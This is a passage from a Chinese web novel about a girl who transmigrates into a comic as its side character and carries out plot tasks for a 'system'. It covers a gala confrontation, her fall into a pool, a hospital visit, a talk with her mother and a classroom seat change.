边说着,称号特意加重。 听见成玉声音那一刻,阮柚背挺得僵直,阖住眼皮,只能将脑袋埋缩得更低。 ……最后的希望被打消了,他们还是注意到这边了。 她安静抵着额发,蜷缩着手指,恨不得和空气混为一体。 呜,事情怎么会发展成这样! 而这边,成玉本走着,忽然察觉顾叙脚步一顿。 他单手插着兜,眼皮不经意一抬,随之落在对面墙壁一角。 尔后,他微微眯了眼睛。 橘黄色灯光和月光倾泻着交织如纱,影绰而静谧地倒映下相叠长影。 在外人看来,画面有一种……说不清缘由的虔诚、圣洁。 却不知为何,他心底潜意识滋生几分烦躁,本能抗拒着‘’般配‘’两个字眼。 一直到扫过视线最后一秒,他看清少年的侧脸时,这才仿佛有了点解释。 另一边,顾叙本是无意一瞥,然而,待看清江净理的侧脸时,眼底划过一抹意外。 相处多年,他自然明白,这根本不会是他的作风。 那么,如今被严丝合缝、拥在他怀里的少女,究竟是谁? 听到往这边逐渐逼近的脚步声,阮柚呼吸微屏,被迫黏在原地,心跳地飞快。 耳边忽然响起一声笑,很轻,问起,“怕吗?” 阮柚微怔,她这次倒是听清他的话了。 不过,现在都火烧眉毛了,男主大人还问得出这句话? 她抿起唇默不作声,笃定江净理真的病得不轻,果然烧糊涂了。 况且,她当然怕了。 阮柚保持安静,始终没有吱声。 其实,最关键的是—— 她知道什么叫做所谓的蝴蝶反应,尤其是在现在,重要剧情环环相扣的情况下。 所以现下这个情况,苟住是王道,千万不能被发现。 对面,成玉率先走过去,环起双臂,“啧,真是没想到,你这么有闲情逸致啊。” 说罢,视线淡淡一扫。 少女以保护之姿态被护在怀里,衬得恬静又娇小,完全看不清长相。 却让他莫名有种隐秘的不爽,那种感觉,仿佛……呵护至极的珍珠被别人盯上一般。 辨不清、道不明。 只有恶劣的情绪在发酵、放大。 顾叙则一言不发站在一边,眉头皱了下,不知道在想什么。 终于,江净理启唇,“滚。” 嗓音极冷。 成玉挑了下眉,冷笑,“呵,看来不装了。我还以为你无时无刻不在保持你贵族的傲慢矜贵呢……” 顾叙闻言,平静打断:“成玉,够了。” 他收回目光,在感觉到氛围逐渐变轨时,他站出来缓和,“成玉他最近心情不好。” 阮柚沉默听着谈话,心中焦躁碎碎念。 怎么开始聊起天了,怎么还不走…… 心里这正想着,头顶处,传来江净理的声音,问得慢条斯理,又不含情绪。 “那让我猜猜,是因为得不到在意的人的关注?” 字字敲击而落,成玉瞳孔猛地一缩,拳握紧,整个人彻底被点燃。 “你再说一遍?” 顾叙赶忙拦住他,冷静道,“别吵了,尤其是现在这个场合,除非想要第二天的头版新闻。” 他知晓,江净理刚才的那声反问无疑直指成玉的死穴,在情况即将滑入深渊前,他需要站出来。这是他从小到大一直接受的教育。 成玉不为所动,握紧的指骨泛白,不怒反笑,“江净理,你以为你又好到哪里去,不过是第二个……”‘’疯子’两字还没说出口,他眉头一蹙,话音毫无征兆一顿。 气息,熟悉的气息。 空气短暂陷入安静。 阮柚心头微紧,只觉脖颈微微拂过凉意。 不妙!! 还没辨明当下情况,在手腕处,倏然覆上一道炙热。 力道如烙印,短却深刻,逐渐确定般地收拢。 阮柚:!!! 完了。 成玉陡然扬起声音:“怎么是你?!” / 阮柚焦灼盯着抓着自己不放的两人,脸颊被冷风吹至清醒。 “我再强调一遍,我真的只是路过,又刚好碰上发烧的江净理。一切都是误会,眼见不一定为实。” “我说的都是真的。” 少女杏眸透净,左右徘徊着视线,全然不似作假。 但是,话语俨然收效甚微。 成玉望着江净理,桃花眼尽是冷漠,“学姐,是不是他诱/惑你。你真的认为他是好人?” 阮柚下意识疯狂否认:“不不不!” 而话一说完,转念意识到哪里不太对,又道,“我是说,真的不是你想得那样。” 见这头不奏效,阮柚只好再次看向江净理,抱着残留希望,期待他能帮忙解释证明。 而江净理眉眼极冷,一瞬不瞬下落注视,走近,不由分说反钳过成玉握住她的手腕。 “谁允许你碰她的。”声音冷漠至极。 瞬间,少女纤细的右手腕上,两道陌生的力道相较拉扯,谁都不肯先让一步松手。 “为什么我不可以?” “你配吗?” …… 阮柚听着来回对话,微仰起脖颈,疲惫舒了口白气。 今天千不该万不该,就是在这里偶遇男主。 透过琉璃长窗,是突然绽放的烟花,绚烂直冲天际。 阮柚心头一紧,如果没记错,视觉盛宴后,就是帝宴的室外聚会。 人/流快出来了。 再僵持下去就乱套了。 视线定了定,阮柚试着冷静下来,看向斜对面的顾叙。 少年静默而立,眉眼因着烟花覆上温度,深邃不见底。 见她望过来,顾叙抬唇笑了下,弧度很淡,平静而礼貌。 隔空对望,全然置身于境况之外的旁观者。 见状,阮柚心头微窘。但至此,于混乱中抓住一份清明。 睫毛垂下,她酝酿着情绪语气,嗓音溢出断续的声音,“疼……” 感受对方握住的动作一僵,阮柚抿抿唇,毫不犹豫趁热打铁,语气认真,“真的很疼,能先放开我吗?” 对上少女雾蒙蒙的杏眼后,成玉心口闷跳,如梦初醒似瞬间松开手。 “对不起。” “我……”薄唇微动,下意识望向阮柚的手腕。 尔后,被挡住。 江净理甩开他的手,相对而立,不由分说隔开两人距离。 “她不是你能招惹的人。”似规劝,又似警告。 成玉冷笑不止。 阮柚低头转了转手腕,唔,好像确实有点酸痛。 抬头时,刚好听到江净理说那句话。 如听仙乐。 她非常、非常赞同! 盯着两人对峙的侧影,阮柚话说得飞快,“我突然想起,我还有点事要和顾叙说,你们先聊。” 说罢,没等听到答案,就微笑着转过身,小碎步跑了过去。 顾叙微微挑眉,似有些意外,但看着忽然投来的两道视线,唇角抿起淡笑。 他低头扫了眼阮柚专注的神情,尔后,颔首配合,“嗯,没错。” 阮柚捏紧的心松下大半。 成玉反问:“在这里说不行么?” 阮柚晃了晃脑袋,抬手轻轻推了下顾叙的胳膊。 她心想,身为旁观者的顾叙,应该也知道此地不能久留吧。 所幸,对方反应正如她愿。 顾叙嗓音轻淡,带着笑意:“不行,这是我们之间的秘密。” 阮柚点头附和,嗯,说的对。 所以她可以走了。 少女毫不犹豫地附和,眼睛亮晶晶的,纯粹不含杂质。 而殊不知,这一幕落在旁人眼里,像极了依赖、信任。 江净理眸色沉而深,沉默将眼前一切尽收眼底,没在一片漆黑中。 信任、依赖,多美好的感情。 凭什么,那人不能是他。 / 另一边,阮柚跟着顾叙,重新走进主宴厅。 临走前,她又一次不死心解释了一遍,而成玉一时没有搭话,像是听进去般。 阮柚喜欢往乐观想。 实在不济,以后每次见面就念一次经,磨到对方耳朵先相信。 主演厅,宾客零零散散。奢华热闹淡下,只剩下悠扬流淌的和缓音乐。 浸润心间,极致温柔。 “是Epiphany。” 顾叙走了过来,修长漂亮的手指跟随着乐章节奏敲在桌缘,时轻时重。 阮柚扭头望过去,尔后,又听少年自顾自讲了下去。 “是他年少时无望的爱。可结局就是这样,爱上月亮是困顿的。” 阮柚轻声:“谁?” 顾叙落下手指,眼皮轻掀,重新带上笑意,“乐曲的作者,我爷爷的一位友人。” 阮柚闻言,轻微点了点头,没有选择再问下去,“很好听。” 顾叙却问:“阮柚,如果是你,你会怎么做?” 少年背过身,手掌撑在长桌边,眉眼带笑,不经意抛出一个问题。 阮柚疑惑歪了下头,“什么怎么样?” 顾叙眸轻垂下,喉结微动,“在意的人,永远看不到自己。” 阮柚抿了下唇,第一次听见有人这个问题。正如与此有关的一切,空白如白纸。 她仔细想了想,道,“如果是我的话,那我就不在意了。” 语气认真,逻辑直截了当。 话说完,对面默了下。 阮柚正欲反问,倏然听到一声轻笑。 顾叙:“很好的答案,你的确和艺术投缘,这么快就听出了它真正想表达的意思。” 阮柚听见顾叙突然其来的赞美,联想到之前说过的话,耳根微微泛热。 没想到对方还记得这么清楚…… 乐曲终了,心也随之彻底定下。 阮柚想了想,再次感激了他。 对面,顾叙微微颔首,语气平静:“所以一切都是误会。” 阮柚眼睛微亮,心头雀跃起来。 终于得到了想要的反应。她道,“没错,江净理发烧了,意识不清醒。” 顾叙目光一烁:“嗯,我知道了。” “所以——” 阮柚安静倾听,注意到他声音一顿。 “怎么了?” 顾叙缓缓站直,低眸,半开玩笑,“现在没有在意的人,对吗?” 阮柚闻言,配合着一笑,不假思索,“当然啦。” 不多时,时钟轻敲而响,在空中阵阵漾开,昭示着新的时间整点。 阮柚闻声而动,眼睛闪了闪,想起迫在眉睫的任务。 如果女主不出现—— 这般想着,系统适时出声,“后果不堪设想。” 阮柚闻言,心陡然沉下,血液好似冻住。 很快,她望向顾叙,“我还有些其他的事情,先走了。” 顾叙:“……好,再见。” 阮柚点了点下巴,握住手指,转身离开。 走了一会儿,又直觉感受到身后一道的视线,她决定转身,比之前郑重了许多,“今天真的谢谢你给我解围。” 顾叙似乎有些意外,缓缓一笑,嗓音如玉:“不客气。” 少女走后,他收回视线,睫压下,随手捻起置在长桌的桌花。 因为是假的,所以才会永不枯萎。 但月亮的美,是真的。 那个人穷极一生都没放下,他又怎么可能。 / 阮柚抱着碰运气的想法,绕着长廊走,转而走了另一条路。 同往来宾客擦肩而过,她时不时看向手机屏幕。 孟季雪怎么还没有回消息呢。 身为一个名副其实的路痴,若是没有向导,她能在这个庄园绕一天。 长长舒了口气,阮柚默默摁灭手机屏幕。 正值此时,面前停下一位陌生的男人。 “需要帮忙吗?”男人声音礼貌而疏离。 对她而言,宛若天籁,无异于睡觉递枕头。 阮柚抬头看了过去。 面前,男人西装革履,戴着用金丝镶边的眼镜,凤眸狭长凌厉,轮廓………却又有些似曾相识。 没经细想,阮柚眨了眨眼,嗯了一声,“先生,我想知道庄园的室内泳池在哪里。” “直走,转过花园,再右拐进走廊。” 阮柚认真倾听,心中速记。 拐进走廊……然后就到了吗? 男人顿了下,意识到什么,“走吧,我顺路。” 恰逢此时,系统的电子音倏然响起。 【恭喜宿主解锁新人物,成尧,二十七岁,成玉同父异母的哥哥。请宿主跟随线索指引,完成剧情修正任务。】 阮柚彻底拨开云雾,难怪觉得似曾相识! 两人的轮廓极像,只是面前的男人更加成熟,棱角更深。 原来这就是漫画里,成玉那个挑不出任何错误的完美哥哥吗? 不过当下有最值得庆幸的事,就是事情终于有眉目了。 凝神,她出声,“谢谢你。” 跟着成玉哥哥一路走着,阮柚感受到无数袭来的视线。对方似乎声望极重,路过的无论男女都会同他打招呼,有的甚至满脸通红想要寒暄,但被他几句高明地结束了对话。 阮柚见状,有些不好意思。 尔后,对方像是听见他的声音一般,忽然淡道,“奉承逢迎,是很浪费时间的。” 阮柚一怔,跟着踏下最后一个台阶,“这样啊。” 穿过漫长的过道,阮柚感受到渐渐逼近的热闹。 她瞬间振奋起十分的精神,因为系统刚才直接显示,女主宁糖就在附近。 抵达室内泳池,阮柚脚步停住,由衷道了声谢,尔后道别。 正欲离开时,她听见对方忽然问起,“请问,我是否有幸知道你的名字。” 阮柚茫然回头,很快说出了名字。 还以为互相不问,是一种默契呢。 成尧闻言一顿,点了点头,“成尧。” 原来就是她啊。 他意味不明地想着。 转身,阮柚从服务员托盘接了杯果汁,往里面走了走。 最后,她停在热闹地人群边缘,看着剧情自顾自在脑海中演绎。 【混乱中,女主不小心掉下泳池,男主之一的成玉英雄救美。】 阮柚握住果汁的手微紧一瞬,有些不确定的问,“没有女配的手笔吗?” 女配,即是原身。 对比印象里,剧情漏掉了重要一环,如今只剩简单的枝干。 【系统:即使是修正剧情,也要尽量符合逻辑顺序,而同样,人物行为需要符合契机。不过,宿主仍要填补人物对白。】 嘈杂热络地人声中,阮柚听的一知半解,所以,这就是所谓的蝴蝶扇动翅膀吗? 不知为何,心隐隐悬在半空,近乎失去掌控的感觉。 她在人群中,快速捕捉着女主。 很快,她远远看见穿着工作服,正在认真摆桌的宁糖。 唇稍稍抿起,阮柚不动声色地眺望视线,这一次,不偏不倚地看向了成玉。 他应该是在和朋友说话,距离太远,看不清表情。 不过幸好,两人隔得相对较近。 阮柚微微呼了口气,将果汁一饮而尽,甜意漫至喉咙,吞下,心跟着稍微定了定。 不知低声说了多少次“借过”,阮柚走到了宁糖旁边。 见对方没有察觉,她一本正经地轻咳了声。 “阮柚!你怎么在这里。”宁糖回头,眼中满是惊喜。 “你今天很漂亮!” 阮柚闻言,矜持点头,“嗯。” 想着分配的台词,她酝酿情绪讲了下去,“怎么,就这么喜欢这种工作吗?” “对呀。”宁糖笑了笑,又道,“很轻松,而且钱很多。” 阮柚:……? 宁糖纠着衣领,又接着道:“自从那一次,我就想明白了。以后做兼职一定找性价比高一些的,多为自己想一些。” 阮柚一听疑惑了,歪了下脑袋,“哪一次?” 她下意识问。 宁糖目光闪烁:“就是我们进厂的那次……阮柚,谢谢你,你真的教会了我好多。” 她没说的是,从那次起,她开始像阮柚一样,有了说不的勇气。 阮柚不自在摸了摸鼻尖。 她想起之前的经历。 不,其实是你无师自通。 很快,她又清了清嗓子,瞥开视线,继续念台词,“在这里不要说你认识我。” 这次,宁糖有些疑惑,“可以,但为什么呢?” 阮柚唇抿紧,依旧面无表情,“没有原因,你照做就是了。” 余光处,她感觉到成玉和几个朋友在往这里走来。 应该是时候了。 心这般想着,脚下很快有了动作。 她挥了挥手,转身,扫了眼泳池。 没关系,女主总会获救。她对自己说。 但系统所说的混乱,又是什么呢? 百思不得其解,阮柚干脆选择顺其自然。 然而,没走几步,人群中,突然响起一道男声。因为短而促,而显得歇斯底里、近乎疯狂。 阮柚眼皮重重一跳,转过头,顺着声音望了过去。 ——“所以他在乎的人,就是你吧!” 尚未来得及缓冲,肩头处,一股推力陡然袭来。 她不自觉闷哼一声,眼前混沌一片,登时天旋地转,整个人跌入泳池。 “阮柚!”而极近的距离,忽然响起女主宁糖的声音,语气带着显而易见的惊慌。 对方伸手抓住了她。 坠入泳池的那一刻,阮柚听见系统的提示音。 【恭喜宿主完成修正任务。评分A 奖励金币x10 修正卡一张】 听见提示音,阮柚冷不丁一梗:……能不能先把她这个女配捞上来再说! 她不会游泳!!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 20-30 第21章 第二十一章 请不要低估女配的能力…… 登时, 池水侵袭周身而过,阮柚反应不及,喉腔重重呛了几下。 伴随着近乎失重的感觉, 连带着呼吸急促吞没。 不知何时,右手握住了空。没了最后支点,只剩无处施展的求生欲。 耳畔声音渐渐模糊, 很快, 将周遭世界的奢靡热闹一一抹去。 丧失意识前,恍惚着, 隐约传来池面响动。 好似幻听。 阮柚猜测,是有人跳了下来。 剧情正有条不紊地进行着。 可是,谁来救救她呀! 意识坠入漆黑前,阮柚心里只剩下这句话。 心心念念, 上天仿佛听见了她的祈祷。 周遭水流横转,一道陌生力道穿过身后, 最后箍过了她的腰。 “阮柚。” / 感受到阳光温度, 阮柚睫毛轻颤, 睁眼, 入目的是冷白色天花板。 她眉头微皱了下, 手指蜷起,看清病号服袖,确认起了环境。 唔, 应该是病房。 心微微一定。 病房窗明几净, 阳光映衬微尘, 安静到只剩医疗仪器运作的波声。 彻底恢复清明后,阮柚微微抿唇,很快, 一个疑惑凝上心头。 ……谁把她送到这里的? 到底发生了什么。 然而,还未经细想,床沿处忽然传来一阵异动。 动作轻微窸窣,短暂扫过被角,却尤其的突兀。 阮柚心头一惊,下意识侧过脑袋,尔后,无声撞入一双熟悉的眼睛。 她心跳漏了半拍,猛地半坐起来。!!! 他怎么会在这里。 病床边,少年黑发微垂,眉眼缀着懒倦,不急不缓撑起手肘。 视线相撞一刻,江净理绽起笑意,道,“你醒了。” 嗓音含混着刚醒的微哑,俨然也是刚转醒。 阮柚不自觉点点下巴,定睛,眼睛不由得瞄了眼他的唇角。 因着对方皮肤偏白,所以唇角处,那块淤血格外引人注目,衬出几分病态。 心中短暂思忖之际,额间,对方掌心冷不丁覆上来。 触及即分。 阮柚躲闪不及,长睫微闪,跟着他的动作看过去。 一瞬茫然。 江净理语气平静,“……看来的确不烧了,想喝点温白开么。” 一时没听见动静,少年一顿,后笑了下,“怎么这样看着我?” 阮柚闻言,如梦初醒,“不用了,我不渴。”、 无缘由的,她总觉现下的情况有些怪怪的。 但一切依旧风平浪静。 阮柚安静别开视线。 有很多话想问,但又不知道该从何问起。 而且—— 她不确定地想,男主大人是在这里守了很久么。 应、应该不是吧? 不多时,病房响起礼貌的敲门声,轻而慢,透着来者的耐心。 江净理:“进。” 阮柚见状,视线定了定。很快,眼底划过惊艳。 门推开,一位气质柔静的夫人款款走来,极美,眉眼和江净理七分相似,只是始终含笑。 没等她走近,沉寂许久的系统忽然出声 【恭喜宿主解锁新人物。郁时漫,江净理的母亲,出身顶级书画世家,性格温婉平和。】 阮柚重复默念名字,出于礼貌,回予一笑。 【系统:请宿主尝试赢取对方好感。】 欸? 她还是第一次听见这样的任务。 不过她明白,这应该是和剧情有关。 身边,江净理站起,“您来做什么?” 不知是不是错觉,语气透着几分疏离。 阮柚飞速掠了下剧情设定。 印象里,江净理似乎确实和家人关系很淡。 或许是因为,高处不胜寒? 她试图用逻辑说服自己。 “来看看你……” 江母担忧看了眼江净理唇角的伤,见对方蹙了下眉,缓缓望向被少年挡在身后的阮柚。 “还有你的小同学。” 说罢,江母展颜,径直踏了过去。 阮柚手心抵在床间,振作精神,朝对方弯唇笑。 表现要得热情些。 正欲演绎舌灿生花、花言巧语之际,毫无征兆,脑海又一次响起系统的提示音。 【恭喜宿主完成任务。奖励如下:……】 剩下的话梗在喉咙。 阮柚静默盯空气:……? 结、结束了? 后面系统说的话,她已然没心思去听,完全被上一句勾去注意。 是她听错了,还是说系统Bug了。 她还什么都没说呢!! 头顶被人轻轻揉了揉,鼻息传来一股浅淡的兰香。 “现在感觉怎么样呢?” 语气怜爱,“小姑娘精致的像洋娃娃似的,连我都不忍……” 阮柚眨了眨眼睛,梗着脖颈,听着不愿和BUG沾边的系统努力自证。 她很快缓神,眼睛一弯,正欲说些什么时,江净理的声音忽然传来。 轻而淡,没有情绪,却陡然一转。 “他让你过来的么?” 江母朝阮柚莞尔笑了下。 她侧过身,默了下,语气不赞同,“江净理,他是你的父亲。” 江净理则面色未改,身形倚靠着墙壁,尔后,平静站正,“我知道。” “您还是专注自己的慈善项目吧。” 不要插手他的事。 感受到氛围不对劲,阮柚呼吸放缓,不自觉缩低存在感。 本人非常有身为外人的自觉。 江母看了他一会儿,最后,微叹了口气。 “我知道你向来聪明有主见,所以从不会像其他家族那样特意约束你,但这次在帝宴当众打架,无论出于什么原因,都不该是你做出来的事……” …… / 医院顶楼,环境清幽。 走廊里,阮柚跟在江净理身边,沉默组织着语言。 ——“不好奇吗?” ——“谢谢你。” 两道声音几乎重叠时,均是一愣。 江净理挑眉,“谢我什么?” 阮柚稍清嗓,认真道,“你这次救了我,还带我来医院。” 她握了握拳,以后一定学游泳。 定定看着她几秒后,江净理喉结微动,“阮柚。” 阮柚抬眸,“嗯?” 江净理:“对不起,以后不会有人敢再伤害你。” 嗓音淡而轻,似在承诺。 阮柚杏眼微烁,听着对方忽然的转折。 她认真摇了摇头,“你没必要对我说对不起。” 江净理侧过视线,笑了下,“要说的。” 阮柚安静了下。 心中飞速复盘情况—— 坠入泳池最后听见的话、江母口中他的打架、还有唇角的伤、以及自苏醒以来的怪异直觉。 短暂串连成线。!等等。 意思是,那人是因为他才推她下去的? ……打架,不会也是因为她吧? 正要问,少年敛淡下眸,又道,“不过,救你的人不是我。” 既然将她抢来,他就不会给别人任何机会。 不是他? 阮柚一怔。 正值此时,医院走廊末端,倏然响起一道男声。 穿透过漫长空气,越听越觉得熟悉。 江净理眉心微不可察一皱。 隔着长空,阮柚下意识朝声源处探去目光。 “让开,别再让我说第二遍。” 语气说不出的冷冰。 她很快辨出,是成玉。 “成少爷,实在对不起,我们是按照命令办事的。” "我不是来找江净理的,我来找阮柚。" 冷不丁听见自己的名字,阮柚困惑皱了下眉,是来找她的? “我去看看。” 人尚未走近,对方目光便锁定在她身上,原本落拓凌厉的气势瞬间淡下。 少年似乎没睡好,微上翘的桃花眼下蒙着淡淡乌青。 他轻声询问,“学姐。你现在感觉好些了吗?” 阮柚点了点下巴。“嗯。” 完全好了,已经神清气爽地准备离开了。 “你来做什么?” 江净理慢吞吞走了过来,停在她身后。 成玉唇角一僵。 尔后,他笑了下,不至眼底,“江净理,你是以什么姿态说这句话?” 江净理缓声:“自己想。” 成玉:“你最要做的就是离她远一点。” 阮柚眼皮跳了下,夹在中间,不自觉摸了下胳肘。 唔,总觉得这两人凑在一起,周遭气压会登时降低。 不过更重要的是—— 昨天画面至今仍历历在目,迹象说不出的熟悉。 千万不能重来。 “等等——”阮柚慢悠悠举起手,道,“我有个问题想问。” 江净理垂眸,“……嗯,问吧。” 阮柚视线慢慢来回,“你们有人知道,宁糖现在在哪里吗?我有急事找她。” 得到答复后,她心中松了口气。清了清嗓,飞速措辞道别。 抓着两人沉默功夫,象征性又挥了挥手,灰溜溜跑起小碎步。 此地不宜久留。 而一个走神,余光一扫,被站在墙边四位黑衣保镖惊了一跳。!!! 面无表情,无声无息。 阮柚步伐一滞,蜷指摸了下鼻尖。 这时,成玉叫住了她。 她回过头。 成玉一顿,抬了下唇:“那下次见。” 隐约闪过一丝欲言又止。 “嗯,下次见。” 背身离开的最后,阮柚隐约听见两人的对话 “不要让你们无聊的游戏,波及到不该碰的人。” 那道嗓音极淡,而警告意又味昭然若揭。 是江净理。 / 从电梯走出来后,阮柚接到一通电话。 极巧的是,正是宁糖。 “喂。” 她很快接起,照旧往前走着。 宁糖:“阮柚,你现在……身体感觉怎么样了。” 阮柚不假思索:“已经好了。” “你呢?” 对方似是松了口气,“那就好。我本来就没什么事呀。” 阮柚停在大厅窗前,抬眸看了眼天,天色澄净,蔚蓝无云。 过了两秒。她毫无征兆出声,“谢谢。” 声音很低,略微不自在。 没有听到系统崩人设的提醒,阮柚稍松了口气,又道,“当时……我看见你伸手拉住我 。” 一个人的恶意、善意,她能感受的很清楚。 后者是来之不易的存在。 心中微烫。 对面宁糖笑了下,“不用谢,我们不是朋友吗?而且……我最后还没有握住,现在想想,其实是添乱罢了。” 阮柚又听她继续出声,声音多了几分严肃。 “阮柚,你母亲昨天晚上打电话过来,好像是有话要说。” …… 阮柚头靠在车窗玻璃上,陷入久久沉思。 从刚才宁糖透露的话来看,昨天晚上确实是按照剧情发展的。 然而,意识的最后,那位救自己的人,居然是之前成玉的哥哥,成尧。 听到答案时,阮柚十分意外。 但帝宴已经是过去式,她没有再问什么。 最后的最后,宁糖见她迟迟没说话,轻声安慰道,“你放心好了,所有消息都已经压下来了。” 回忆至此,阮柚再次看了眼车窗外疾驰而过的风景线。 连着好几天是晴天,但刮着北风,温度不升反降。 下了公交车时,刚好迎上冷风。 阮柚缩了缩双手。 循着记忆来到一条拥挤窄巷,视野稍暗时,差点因着石路上的青苔滑倒。 一段剧情缓缓在脑海里展开。 【听到有贵族资助弟弟阮时消息时,阮柚没放在心上。在她看来,天下没有免费的午餐。如果有,也应该的落在她的身上。然而,当她听见“郁时漫”的名字后,顿时坠入谷底。在她看来,无疑意味着在圣煜拼命想掩饰的秘密即将撕开一道口子。】 回顾完剧情时,阮柚眉梢轻挑,有些小雀跃。 哦豁。 她快要翻车了? 系统义正言辞:请宿主不要低估女配的能力。 阮柚眨眼:……? 她于是又瞄了眼漫画剧情。 即使之后有了这层关系,原身还是在主角眼皮子底下苟了许久。 刺、刺激。 阮母在帝都租住的地方是华国的C号贫民区,也是最拥挤下沉的地方之一。 凌乱缠绕的天线割裂天空,乌压压的,巷尾潮湿到几乎透不来阳光。 很快,阮柚看见了阮母。 她正坐在门前一道低阶上,俯身搓洗着衣服,手不时埋在皂沫,专注而认真。 听见动静后,她抬起头,一时间,眸色惊喜难掩 她停住动作,念着,“回来了,回来就好。饿不饿,妈妈给你做你爱吃的菜。” 阮柚睫毛轻颤,道,“嗯,不用了 ,我不饿。” 而说完话,几乎是下一秒,肚子不争气地响了下。 阮柚耳观鼻鼻观心。 ……可恶。 反应过来后,人已经坐在了桌前,盯着面前腾起的热雾发呆。 ……糖醋里脊、椒盐蘑菇、以及色白如玉的清蒸鱼。 每一样都是她爱吃的。 阮母擦净了手,微笑道,“总觉得你会来,所以提前准备了些。” 阮柚眨了眨眼睛,掩住发亮的视线。 “咳,看起来不错。” “多吃些,看你都瘦了。” 阮柚捏着筷子,缓慢矜持地嗯了声。 那她可就不客气啦。 吃过饭后,阮掰开橘子吃了一瓣。 清甜在舌尖化开时,她想起自己的台词任务。 于是,她探声问,“你刚才说,阮时受到好心人资助了?” 阮母嗯了声,一笑,“是的,那是一位尊贵善良的人。” 在从院长那里听到这个消息时,她感激到愿意用所有知道的褒义词去形容那个人。 阮柚将橘子皮扔进垃圾桶,反问:“确定是真的资助,不是骗子吗?” 阮母闻言,笑意舒展了下,“已经见过面了,你放心好了。” 在她眼里,女儿蕙质兰心,还在最好的学院圣煜上学,自然比她懂得多,所以并不意外于这个反应。 阮柚下巴微点,尔后,一板一眼念台词,“不要和那人透露我的名字,任何时候都不要。” 阮母应声:“好。” 阮柚张了张口,酝酿的话卡住。 这、这么干脆? 都没问为什么。 阮母唇角含笑,看懂她的表情,“小时在医院告诉我,我们要无条件支持你的想法。” “我明白,你想做的每件事都是有理由的。” 听着对方温柔的语气,阮柚咽了口空气,越听越不自在。 她的确是有理由,但是——没有分寸呀。 阮柚抬起头,试图解释:“其实我是想说……” 【系统:恭喜宿主任务完成。】 话语戛然。 她默默剥着橘子皮,吞咽,勉强抿唇笑了下。 唔,一切进展是正常的,那她就不说什么了。 / 周一,圣煜学院大会场。 宁糖作为特招生正在台上演讲,声情并茂,振奋人心。 聚光灯下,优秀的连头发丝都在发光。 阮柚坐在中后排,凝神,听的很是认真。 不愧是女主。 忽然,身边的李稚拍了拍她的肩膀。 阮柚疑惑瞥去视线,这才注意到周围小范围起了躁动,似乎在低声谈论什么。 “怎么了。” 李稚朝她摊开手,目光灼热,“后面有人给你递了纸飞机。” 阮柚一瞬茫然:“我?” 李柚认真点点头,“没错,最后传话的人说是给阮柚的。” 说罢,她又补充,“说是有话写在里面。” 阮柚点了点头,接过纸飞机,有些百思不得其解。 会是谁呢。 为什么要传这个? 她动作微动,下意识打算拆开。 但忽然间,拆纸飞机的动作一停。 ——等等,怎么一时间,感觉好多若有若无的视线扫了过来! 她盯着纸飞机,正犹豫着想要回去拆。 而视野下,一双修长白皙的手伸了过来,轻而易举将其拿走。 嗯? “保持纪律。” 身前,少年胸前挂着部长铭牌,扫了眼周围,眉眼说不出地严肃。 说完后,很快,周遭声音降了下来。 阮柚看了眼顾叙。 印象里,他在管理学院纪律部吧? 她盯着纸飞机,说不出的心虚。 谁料下一秒,顾叙看向她,语调平和,“回班后再给你。” 阮柚抬头看着他,点头如捣蒜。 散场后,阮柚跟着人群走,隐约听到有人聊天。 “刚才成玉看顾叙的目光,怎么感觉那么古怪?” “我也觉得,就好像在冒火星,有杀/气。” “哈哈,这很成玉。” “嘘,你小声点,不怕被人听到吗。” “啊?我一直很小声好不好?” 阮柚抿了下唇。 其实一点也不小声,她可以保证,她周围闲聊停下的人都听见了。 回到班里后,阮柚环顾了下四周。 没找到,看来顾叙还没回来。 阮柚守在座位上,百无聊赖看起了借阅来的悬疑漫画。 目光落在尾页、即将解密时,她下意识屏住了呼吸,气氛已然烘托好。 然而好巧不巧,上课铃声响起 阮柚心头一紧,不死心的抱着漫画书,快速浏览。 剧情正当精彩处,下一页可能就揭秘了! “现在,我们来调座位。现在,我们按照成绩出去排队” 不多时,台上传来许老师的声音,言简意赅。 教室座位很快重新的排列组合。 【系统:请宿主及时完成任务哦。】 两道声音来回拉扯,彻底将她的理智纠了回去。 阮柚咬了下唇,心一横,将那本漫画书猛地合上。 下次再看。 抬眸,跟随着起身,排好座位时,她不经意对上人群里一道视线。 尔后,顾叙朝她笑了下,眸色沉静,不知在想什么。 视线很快相错开。 出了教室,阮柚跟在顾叙身后,安静回顾剧情。 忽然,眼前的空气微掠。 “纸飞机。”他伸出手。 阮柚很快接过,“谢谢。” “身体还好么?”顾叙轻声问起。 阮柚:“嗯,第二天就痊愈了。” “那就好。” “我走了,进去等你。” 阮柚点了点头。 顾叙进入教室后,她的名字接着响起。 听见老师叫她,阮柚应了一声,踏了进去。 她目不斜视走着,余光却默默锁定,顾叙坐在靠窗的第二排。 阳光下,少年眉骨优越,侧脸柔和专注。 距离越来越近,心也跟着微微跳了起来。 好像有些忐忑。 阮柚捏了捏手心的肉。 正打算一不做二不休,瞄准他身边座位坐下去时。 随着动作,纸飞机无意间滑落手心,又在微步可察的瞬间,窗外微风拂掠而过。 空中弧度陡然一转,纸飞机飘远了视线。 阮柚心头一紧,迈开步子,下意识想要去捡。 再不去捡指不定飘到哪里呢。 而下一秒,空寂教室,响起长椅拖落地面的声音。 倏然突兀。 身后,顾叙忽然叫住她,嗓音很轻,“阮柚,过来。” 第22章 第二十二章 所以你们不用过来了。…… “嗯?” ……她过去? 纸飞机空中兜兜转转, 最终,不偏不倚落在光洁地面上。 她很快弯腰捡起。 冷不丁听见顾叙的声音,阮柚心跳慢了半拍。 尔后, 她转过身,迎着他走了过去。 心底短暂的疑惑,很快被提前预想的任务重叠取代。 黑板上面的壁钟兀自走着针, 低而轻, 节奏紧凑如常。 除此之外,只剩她的脚步声。 窗外安静透过阳光, 随着风动窗帘,抖落在少年身上。 顾叙手指搭在桌沿,见她走近,落下, 微不可察让了半步。 “想坐在哪里?” 耳畔响起他的询问,嗓音一如刚刚。 靠近时, 阮柚不自觉眨了眨眼睛。 他站在原地一动不动, 就好像, 在配合着她的动作。 对方的话听起来, 好像也是哪里不太对。 但是—— 阮柚抿了下唇, 余光扫在空出的座位,面不改色捏了下手心。 念着近在眼前任务,她不再细想。 按照之前的计划, 用实际行动演绎了什么叫先斩后奏。 “就这里了。” 话说得飞速, 全程动作行云流水。 搞定! 阮柚手摊平在桌面, 感受到阳光扫下的温热,她翘了翘嘴角, 身边, 顾叙轻轻颔首,唇微抬,看向了前面的许老师。 许老师点头:“下一位同学。” 